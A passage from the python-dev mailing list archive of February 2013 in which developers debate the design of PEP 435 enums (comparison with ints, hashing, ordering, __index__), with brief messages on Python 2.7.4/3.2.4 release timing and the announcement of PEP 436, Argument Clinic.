	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us>
	<20130225130502.3d55e8b6@anarchist.wooz.org>
Message-ID: <512BAC7C.3060003@stoneleaf.us>

On 02/25/2013 10:05 AM, Barry Warsaw wrote:
> On Feb 25, 2013, at 09:35 AM, Ethan Furman wrote:
>
>>>       >>> Colors = make('Colors', 'red green blue'.split())
>>>       >>> Animals = make('Animals', 'ant bee cat'.split())
>>>       >>> Colors.green == Animals.bee
>>
>> But this I don't, and in both mine, Ted's, and Alex's versions enums from
>> different groups do not compare equal, regardless of the underlying value.
>> Of course, this does have the potential problem of `green == 1 == bee` but
>> not `green == bee` which would be a problem with set and dicts -- but I'm the
>> only one who has brought up that issue.
>
> Right, but my point is that if isinstance(Colors.green, int) then a reasonable
> interpretation is that enum values will compare equal against other ints.  It
> seems weird to me that enum values *are* ints but aren't substitutable with
> ints (e.g. comparable against other ints including other subclasses of ints).

That is certainly a valid point.  I will admit to being unhappy with the whole dict/set issue; I'm considering making my 
enums unhashable -- then if one wants them in a dict, one can take the string or int value and add it that way.


>> However, as I replied to Skip, I think a stdlib solution should meet many
>> needs, and sometimes (often, for some people ;) those needs will be better
>> served by an int-based or str-based enum.
>
> Maybe.  I don't think a stdlib solution has to meet *all* needs.  I think
> named values plus int-interoperable enums will solve almost all use cases.

Hey, I think I just had a light-bulb moment:  have the enum implement __index__ -- that will solve my use-case of using 
them for list indices.

Dumb question, but are flufl.enums ordered?  That's also an important use case.

--
~Ethan~

From solipsis at pitrou.net  Mon Feb 25 19:49:23 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 25 Feb 2013 19:49:23 +0100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CAF-Rda8EZJFUi3So8zLdH7dH_V=gW3c-UJWOomsMKW=DTn4PLw@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B8BE4.5040102@stoneleaf.us>
	<CANc-5UyKn2niDGXMOR1hKB9EJWnvvCqQF2k0JTQBWVzi8O=i+g@mail.gmail.com>
	<20130225175640.043d4d79@pitrou.net>
	<CAF-Rda8EZJFUi3So8zLdH7dH_V=gW3c-UJWOomsMKW=DTn4PLw@mail.gmail.com>
Message-ID: <20130225194923.38359888@pitrou.net>

On Mon, 25 Feb 2013 09:03:06 -0800
Eli Bendersky <eliben at gmail.com> wrote:
> 
> "DOG" > "CAT" invokes lexicographical comparison between two strings, a
> well-defined and sensical operations. It simply means that in a sorted list
> of strings, "CAT" will come before "DOG". This is different from an
> enumeration that attempts to (at least logically) restrict a value to a set
> of pre-defined entities.

No, it's not different. Like there are use cases for ordered
comparisons of strings, there are cases for ordered comparisons of
enums.
For example, if I have an enum representing SIP or HTTP response codes,
it is perfectly reasonable to write:

    if code < 200:
        # temporary response
        ...
    elif code < 400:
        # successful final response
        ...
    else:
        # final error response:
        ...

Really, there's no justification for claiming an enum should never
compare to anything else. It's entirely application-dependent.

Regards

Antoine.

From solipsis at pitrou.net  Mon Feb 25 19:50:56 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 25 Feb 2013 19:50:56 +0100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us>
	<20130225130502.3d55e8b6@anarchist.wooz.org>
Message-ID: <20130225195056.3797fc4b@pitrou.net>

On Mon, 25 Feb 2013 13:05:02 -0500
Barry Warsaw <barry at python.org> wrote:
> 
> Maybe.  I don't think a stdlib solution has to meet *all* needs.  I think
> named values plus int-interoperable enums will solve almost all use cases.

Being int-interoperable without comparing with ints is completely
bonkers.

Regards

Antoine.



From ethan at stoneleaf.us  Mon Feb 25 20:07:13 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Mon, 25 Feb 2013 11:07:13 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130225194923.38359888@pitrou.net>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B8BE4.5040102@stoneleaf.us>
	<CANc-5UyKn2niDGXMOR1hKB9EJWnvvCqQF2k0JTQBWVzi8O=i+g@mail.gmail.com>
	<20130225175640.043d4d79@pitrou.net>
	<CAF-Rda8EZJFUi3So8zLdH7dH_V=gW3c-UJWOomsMKW=DTn4PLw@mail.gmail.com>
	<20130225194923.38359888@pitrou.net>
Message-ID: <512BB661.70402@stoneleaf.us>

On 02/25/2013 10:49 AM, Antoine Pitrou wrote:
> On Mon, 25 Feb 2013 09:03:06 -0800
> Eli Bendersky <eliben at gmail.com> wrote:
>>
>> "DOG" > "CAT" invokes lexicographical comparison between two strings, a
>> well-defined and sensical operations. It simply means that in a sorted list
>> of strings, "CAT" will come before "DOG". This is different from an
>> enumeration that attempts to (at least logically) restrict a value to a set
>> of pre-defined entities.
>
> No, it's not different. Like there are use cases for ordered
> comparisons of strings, there are cases for ordered comparisons of
> enums.
> For example, if I have an enum representing SIP or HTTP response codes,
> it is perfectly reasonable to write:
>
>      if code < 200:
>          # temporary response
>          ...
>      elif code < 400:
>          # successful final response
>          ...
>      else:
>          # final error response:
>          ...
>
> Really, there's no justification for claiming an enum should never
> compare to anything else. It's entirely application-dependent.

+1

From ethan at stoneleaf.us  Mon Feb 25 20:34:35 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Mon, 25 Feb 2013 11:34:35 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130225194923.38359888@pitrou.net>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B8BE4.5040102@stoneleaf.us>
	<CANc-5UyKn2niDGXMOR1hKB9EJWnvvCqQF2k0JTQBWVzi8O=i+g@mail.gmail.com>
	<20130225175640.043d4d79@pitrou.net>
	<CAF-Rda8EZJFUi3So8zLdH7dH_V=gW3c-UJWOomsMKW=DTn4PLw@mail.gmail.com>
	<20130225194923.38359888@pitrou.net>
Message-ID: <512BBCCB.902@stoneleaf.us>

Antoine, question for you:

Do you think enums from different groupings should compare equal?

If no, how would you propose to handle the following:

8<----------------------------------------------------------------------------
--> import yaenum

--> class Color(yaenum.Enum):
...     black
...     red
...     green
...     blue
...

--> class Literature(yaenum.Enum):
...    scifi
...    fantasy
...    mystery
...    pop
...

--> Color.black
Color('black', value=0)

--> Literature.scifi
Literature('scifi', value=0)

--> black = Color.black

--> scifi = Literature.scifi

--> black == 0
True

--> hash(black)
0

--> scifi == 0
True

--> hash(scifi)
0

--> black == scifi
False

--> hash(0)
0

--> huh = dict()
--> huh[black] = 9
--> huh
{Color('black', value=0): 9}

--> huh[0]
9
--> huh[scifi]
Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
KeyError: Literature('scifi', value=0)

--> huh[scifi] = 11
--> huh
{Color('black', value=0): 9, Literature('scifi', value=0): 11}

--> huh[0]
9

--> del huh[0]
--> huh[0]
11

8<----------------------------------------------------------------------------

I do not think enums from different classes should compare equal.

I see two ways around the above issue:

   1) make enums unhashable, forcing the user to pick a hash method;

   2) make the hash based on something else (like the enum's name) in which case
      the enum would not be /completely/ interoperable, even though it is a subclass
      of int

From solipsis at pitrou.net  Mon Feb 25 20:48:17 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 25 Feb 2013 20:48:17 +0100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B8BE4.5040102@stoneleaf.us>
	<CANc-5UyKn2niDGXMOR1hKB9EJWnvvCqQF2k0JTQBWVzi8O=i+g@mail.gmail.com>
	<20130225175640.043d4d79@pitrou.net>
	<CAF-Rda8EZJFUi3So8zLdH7dH_V=gW3c-UJWOomsMKW=DTn4PLw@mail.gmail.com>
	<20130225194923.38359888@pitrou.net> <512BBCCB.902@stoneleaf.us>
Message-ID: <20130225204817.38b09100@pitrou.net>

On Mon, 25 Feb 2013 11:34:35 -0800
Ethan Furman <ethan at stoneleaf.us> wrote:
> Antoine, question for you:
> 
> Do you think enums from different groupings should compare equal?

Equality should be mostly transitive so, yes, I think they should.

Regards

Antoine.



From benjamin at python.org  Mon Feb 25 21:05:21 2013
From: benjamin at python.org (Benjamin Peterson)
Date: Mon, 25 Feb 2013 15:05:21 -0500
Subject: [Python-Dev] Python 2.7.4 and 3.2.4
In-Reply-To: <CAHx1HDNxfwMFBAiQdmfuLNBNa+7DXKUEoUmc1+0YiSXKzU+FLg@mail.gmail.com>
References: <CAHx1HDNxfwMFBAiQdmfuLNBNa+7DXKUEoUmc1+0YiSXKzU+FLg@mail.gmail.com>
Message-ID: <CAPZV6o_H=yoU3YJxUs_ojvRsX1KWpK9zWGg=eDa7FNdCwY+=+w@mail.gmail.com>

2013/2/23 Perica Zivkovic <perica.zivkovic at gmail.com>:
> Hi there,
>
> like posted here:
> https://groups.google.com/forum/?fromgroups=#!topic/comp.lang.python/xXij443PM6I
>
> I'm curious to find out are there any timelines when 2.7.4 and 3.2.4 will be
> available.

As soon as there is a releasable 2.7 tree. Unfortunately, the XML
security issue doesn't seem to be getting closer to resolution and we
have tens of release blockers.

>
> I was kinda waiting for it to release new Portable Python so now I'm just
> curious should I wait bit more and release on this python base or should I
> go for 2.7.3 and 3.2.3


-- 
Regards,
Benjamin

From barry at python.org  Mon Feb 25 21:32:47 2013
From: barry at python.org (Barry Warsaw)
Date: Mon, 25 Feb 2013 15:32:47 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512BAC7C.3060003@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us>
	<20130225130502.3d55e8b6@anarchist.wooz.org>
	<512BAC7C.3060003@stoneleaf.us>
Message-ID: <20130225153247.005e54a2@anarchist.wooz.org>

On Feb 25, 2013, at 10:25 AM, Ethan Furman wrote:

>Hey, I think I just had a light-bulb moment: have the enum implement
>__index__ -- that will solve my use-case of using them for list indices.

They don't currently, but I think it's reasonable, given that they already
support __int__.

https://bugs.launchpad.net/flufl.enum/+bug/1132972

>Dumb question, but are flufl.enums ordered?  That's also an important use
>case.

Kind of.  Ordered comparisons are explicitly not supported, but iteration over
the Enum is guaranteed to be returned in int-value order.

One thing I've been thinking about is allowing you to override the EnumValue
class that the metaclass uses.  In that case, if you really wanted ordered
comparisons, you could override __lt__() and friends in a custom enum-value
class.  I haven't quite worked out in my mind how that would look, but I have
a bug to track the feature request:

https://bugs.launchpad.net/flufl.enum/+bug/1132976

Heck, that might even allow you to implement int-derived enum values if you
really wanted them <wink>.

Cheers,
-Barry

From timothy.c.delaney at gmail.com  Tue Feb 26 00:04:40 2013
From: timothy.c.delaney at gmail.com (Tim Delaney)
Date: Tue, 26 Feb 2013 10:04:40 +1100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130225153247.005e54a2@anarchist.wooz.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us>
	<20130225130502.3d55e8b6@anarchist.wooz.org>
	<512BAC7C.3060003@stoneleaf.us>
	<20130225153247.005e54a2@anarchist.wooz.org>
Message-ID: <CAN8CLgmoOPuEi1eA2ntyqY3QipdryKCbrrbDs5DDaZwyFx7Ceg@mail.gmail.com>

On 26 February 2013 07:32, Barry Warsaw <barry at python.org> wrote:

> One thing I've been thinking about is allowing you to override the
> EnumValue
> class that the metaclass uses.  In that case, if you really wanted ordered
> comparisons, you could override __lt__() and friends in a custom enum-value
> class.  I haven't quite worked out in my mind how that would look, but I
> have
> a bug to track the feature request:
>
> https://bugs.launchpad.net/flufl.enum/+bug/1132976
>
> Heck, that might even allow you to implement int-derived enum values if you
> really wanted them <wink>.
>

You're starting to tread in an area that I investigated, did an
implementation of, and then started moving away from due to a different
approach (delegating to the methods in the owning Enum class when accessing
EnumValue attribtues).

I haven't touched my implementation for a couple of weeks now - been busy
with other stuff and I got a bit fatigued with the discussion so I decided
to wait until things had settled a bit. Hasn't happened yet ... ;)

I'm actually in a quandry about what way I want my enums to go. I think
each enum should have an ordinal based on the order it is defined, and
should be ordered by that ordinal. But (whether or not it inherits from int
- I'm ignoring string enums here) should __int__ and __index__ return the
ordinal, or the assigned int value (if it has one)? There are arguments
both ways. My current implementation doesn't have an ordinal at all (except
by accident in the trivial case). That was when I decided to put it aside
for a while and see where the discussion went.

Tim Delaney
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130226/efc22dc1/attachment-0001.html>

From glyph at twistedmatrix.com  Tue Feb 26 00:17:06 2013
From: glyph at twistedmatrix.com (Glyph)
Date: Mon, 25 Feb 2013 15:17:06 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
	435 (enum). The name is not important at the moment, as
In-Reply-To: <20130225153247.005e54a2@anarchist.wooz.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us>
	<20130225130502.3d55e8b6@anarchist.wooz.org>
	<512BAC7C.3060003@stoneleaf.us>
	<20130225153247.005e54a2@anarchist.wooz.org>
Message-ID: <9A698345-D299-42FC-83B3-DABC5DAA9C25@twistedmatrix.com>


On Feb 25, 2013, at 12:32 PM, Barry Warsaw <barry at python.org> wrote:

>> Dumb question, but are flufl.enums ordered?  That's also an important use
>> case.
> 
> Kind of.  Ordered comparisons are explicitly not supported, but iteration over
> the Enum is guaranteed to be returned in int-value order.

Sorry to jump in to a random leaf of this thread, but there is such a barrage here I cannot find the beginning :).

I can see in <http://www.python.org/dev/peps/pep-0435/#acknowledgments> that Twisted is mentioned; it should probably reference <https://twistedmatrix.com/documents/current/api/twisted.python.constants.html> and <https://twistedmatrix.com/documents/current/core/howto/constants.html> since we actually implemented a thing as well.

(You can order constants by sorting them; off the top of my head, NamedConstant, ValueConstant, and FlagConstant all probably behave differently.)

-g
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130225/b166c972/attachment.html>

From greg.ewing at canterbury.ac.nz  Tue Feb 26 00:22:36 2013
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Tue, 26 Feb 2013 12:22:36 +1300
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512B7F43.5060406@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
Message-ID: <512BF23C.7060105@canterbury.ac.nz>

Ethan Furman wrote:
> I must admit I find it mildly amusing (but a lot frustrating) that we 
> are talk about /enumerations/ not needing to be based on ints.  Checking 
> out Merrian-Webster gives this:
> 
> Definition of ENUMERATE
> 1
> : to ascertain the number of : count
> 2
> : to specify one after another : list

It depends on what you mean by "based on ints". Pascal
enums are using the second definition here: the values
have ints associated with them, but are not themselves
ints.

There are really two different use cases. Sometimes you
want to have values that are directly substitutable for ints;
other times you would rather not, so as to catch mistakes
more easily.

-- 
Greg

From ethan at stoneleaf.us  Tue Feb 26 00:18:55 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Mon, 25 Feb 2013 15:18:55 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512BA0FE.40206@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us>
Message-ID: <512BF15F.3010308@stoneleaf.us>

On 02/25/2013 09:35 AM, Ethan Furman wrote:
> But this I don't, and in both mine, Ted's, and Alex's versions [. . .]

My sincerest apologies to Tim Delaney (aka 'Ted') for messing up his name.

--
~Ethan~

From ethan at stoneleaf.us  Tue Feb 26 00:28:37 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Mon, 25 Feb 2013 15:28:37 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512BF23C.7060105@canterbury.ac.nz>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us> <512BF23C.7060105@canterbury.ac.nz>
Message-ID: <512BF3A5.5080000@stoneleaf.us>

On 02/25/2013 03:22 PM, Greg Ewing wrote:
> Ethan Furman wrote:
>> I must admit I find it mildly amusing (but a lot frustrating) that we are talk about /enumerations/ not needing to be
>> based on ints.  Checking out Merrian-Webster gives this:
>>
>> Definition of ENUMERATE
>> 1
>> : to ascertain the number of : count
>> 2
>> : to specify one after another : list
>
> It depends on what you mean by "based on ints". Pascal
> enums are using the second definition here: the values
> have ints associated with them, but are not themselves
> ints.
>
> There are really two different use cases. Sometimes you
> want to have values that are directly substitutable for ints;
> other times you would rather not, so as to catch mistakes
> more easily.

I agree.  I think whichever enum ends up in the stdlib should support both
types (and possibly a couple other variations).

--
~Ethan~

From greg.ewing at canterbury.ac.nz  Tue Feb 26 00:53:03 2013
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Tue, 26 Feb 2013 12:53:03 +1300
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130225113729.235b86c6@anarchist.wooz.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
Message-ID: <512BF95F.1050800@canterbury.ac.nz>

Barry Warsaw wrote:
>     >>> Colors = make('Colors', 'red green blue'.split())
>     >>> Animals = make('Animals', 'ant bee cat'.split())
>     >>> Colors.green == Animals.bee

The currently suggested solution to that seems to be to
make comparison non-transitive, so that Colors.green == 1
and Animals.bee == 1 but Colors.green != Animals.bee.
And then hope that this does not create a quantum black
hole that sucks us all into a logical singularity...

-- 
Greg

From larry at hastings.org  Tue Feb 26 01:11:23 2013
From: larry at hastings.org (Larry Hastings)
Date: Mon, 25 Feb 2013 16:11:23 -0800
Subject: [Python-Dev] Announcing PEP 436: The Argument Clinic DSL
Message-ID: <512BFDAB.5050103@hastings.org>


Following up on a conversation on python-dev from last December:

    http://mail.python.org/pipermail/python-dev/2012-December/122920.html

I'm pleased to announced PEP 436, proposing Argument Clinic for adoption 
into the CPython source tree.

    http://www.python.org/dev/peps/pep-0436/


Argument Clinic itself hasn't changed much in the intervening three 
months; I did add a prototype extension mechanism for adding user types 
at runtime, and I allow writing the generated code to a separate file.  
The PEP is adopted out of the "clinic.txt" included with the prototype, 
updated and with a new rationale.

For what it's worth, the bug tracker issue is here:

    http://bugs.python.org/issue16612

I'm guessing python-dev is the right place for the ten-thousand-foot 
view topics: the merits of the specific proposed DSL syntax, the 
possible runtime extension API, and the approach as a whole.  So for now 
let's just use the bug tracker issue for code reviews and the like.

The prototype implementation is checked in here:

    https://bitbucket.org/larry/python-clinic/

as well as being posted to the above issue on the tracker in patch form.


I look forward to your comments,


//arry/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130225/7d76351c/attachment.html>

From barry at python.org  Tue Feb 26 02:42:58 2013
From: barry at python.org (Barry Warsaw)
Date: Mon, 25 Feb 2013 20:42:58 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CAN8CLgmoOPuEi1eA2ntyqY3QipdryKCbrrbDs5DDaZwyFx7Ceg@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us>
	<20130225130502.3d55e8b6@anarchist.wooz.org>
	<512BAC7C.3060003@stoneleaf.us>
	<20130225153247.005e54a2@anarchist.wooz.org>
	<CAN8CLgmoOPuEi1eA2ntyqY3QipdryKCbrrbDs5DDaZwyFx7Ceg@mail.gmail.com>
Message-ID: <20130225204258.1346f941@anarchist.wooz.org>

On Feb 26, 2013, at 10:04 AM, Tim Delaney wrote:

>You're starting to tread in an area that I investigated, did an
>implementation of, and then started moving away from due to a different
>approach (delegating to the methods in the owning Enum class when accessing
>EnumValue attribtues).

At first glance, this turns out to be pretty easy in flufl.enum.

https://code.launchpad.net/~barry/flufl.enum/lp1132976/+merge/150472

I'm not sure it's a good idea or whether it meets a real need, and you could
bikeshed on the name of the magic attribute, but I think this shows that it's
possible and doesn't complicate the implementation that much.

Cheers,
-Barry

From stephen at xemacs.org  Tue Feb 26 04:46:20 2013
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Tue, 26 Feb 2013 12:46:20 +0900
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512B7F43.5060406@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
Message-ID: <87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>

Ethan Furman writes:

 > Again:

Repeating yourself doesn't help make the case.  It does, however,
encourage me to reply.

 > Definition of ENUMERATE
 > 1 : to ascertain the number of : count
 > 2 : to specify one after another : list

You say you need the value as an integer; when you evaluate, you are
neither counting nor listing.  Note that in both counting and listing
the object of the operation is not an element.  It is a set, and set
membership is the most important aspect of the elements for that
purpose.  The values of the elements (including whether they even have
a value) is not relevant to either of those operations.

On the other hand, if you *are* going to access (constant!) values by
name, I don't see any reason to restrict the domain to integers.  Nor
do such named constants need to be members of any set in many cases.


From ethan at stoneleaf.us  Tue Feb 26 07:53:43 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Mon, 25 Feb 2013 22:53:43 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
Message-ID: <512C5BF7.9090803@stoneleaf.us>

On 02/25/2013 07:46 PM, Stephen J. Turnbull wrote:
> Ethan Furman writes:
>
>   > Again:
>
> Repeating yourself doesn't help make the case.  It does, however,
> encourage me to reply.

Good!  For a while I felt like I was talking to myself!  ;)


>   > Definition of ENUMERATE
>   > 1 : to ascertain the number of : count
>   > 2 : to specify one after another : list
>
> You say you need the value as an integer; when you evaluate, you are
> neither counting nor listing.

That's like saying when I evaluate a dict's key I'm neither assigning nor iterating.  True, but a fairly useless factoid.

When I /create/ the enumeration (by hand, until a couple days ago), I listed them and counted them all myself.  Now I 
list them and let the computer count them.  And both then and now when I use them the computer appropriately substitutes 
the already counted value for the name I listed.  That counted value is every bit as important (at least in my use 
cases) as the set membership.

>   Note that in both counting and listing
> the object of the operation is not an element.  It is a set, and set
> membership is the most important aspect of the elements for that
> purpose.

No, it isn't.  It may be in some cases.  My enums even respect it to the point of not comparing equal to different enum 
sets.  But, quite frankly, it's the enum's ability to let me use a name to mean a number that is the most important. 
And the most important thing for the Enum class is to assign those numbers for me as automatically as possible.


> On the other hand, if you *are* going to access (constant!) values by
> name, I don't see any reason to restrict the domain to integers.

I completely agree.  I plan on making my enums support a wide range of possibilities.  So far it's just int (counting 
and bitmap) and str.


>  Nor do such named constants need to be members of any set in many cases.

